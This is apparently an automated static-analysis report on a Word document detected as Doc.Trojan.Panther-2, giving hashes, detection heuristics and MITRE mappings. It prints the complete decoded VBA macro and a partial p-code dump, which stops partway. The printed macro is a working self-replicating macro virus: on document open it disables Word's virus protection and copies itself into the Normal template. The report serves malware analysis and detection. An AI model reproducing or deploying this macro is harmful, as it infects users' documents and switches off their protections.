Doc.Trojan.Panther-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 176c769373932f97…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 445ca0d69e251c2297ba96bbf1a6def3 SHA-1: 3914f6a5159fa1df28a64812196f378e4ca94435 SHA-256: 176c769373932f97ba110b5a753d8d6cf3a924e902bfaa3688cf3ca3d188296d
180 Risk Score

Malware Insights

Doc.Trojan.Panther-2 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Panther-2. A critical heuristic detected a Document_Open VBA macro, which is often used to execute malicious code upon document opening. The VBA code attempts to modify the Normal template, suggesting an attempt to establish persistence or facilitate further infection stages. The macro's logic involves string manipulation and template modification, indicating a potentially complex malicious function.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4571 bytes
SHA-256: 40d03e4099340ce7c978e046eff2db000e394b152a70fbdadc4312238d9999b5
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/5bd3db4dcd8a4cf5b5ee7b3b61f97322.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3020 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	Dim 
' 	VarDefn code (As String)
' Line #2:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #5:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #6:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #7:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #8:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #9:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #10:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #11:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #12:
' 	EndWith 
' Line #13:
' 	EndWith 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #15:
' 	LitStr 0x000E "NormalTemplate"
' 	LitStr 0x0008 "Document"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
' Line #20:
' 	Dim 
' 	VarDefn index (As Long)
' 	VarDefn pre (As String)
' 	VarDefn post (As String)
' 	VarDefn preLen (As Long)
' Line #21:
' Line #22:
' 	Ld prepre 
' 	Ld prepost 
' 	Add 
' 	St pre 
' Line #23:
' 	Ld postpre 
' 	Ld postpost 
' 	Add 
' 	St post 
' Line #24:
' Line #25:
' 	LitDI2 0x0001 
' 	St index 
' Line #26:
' 	Ld pre 
' 	FnLen 
' 	St preLen 
' Line #27:
' Line #28:
'
... (truncated)

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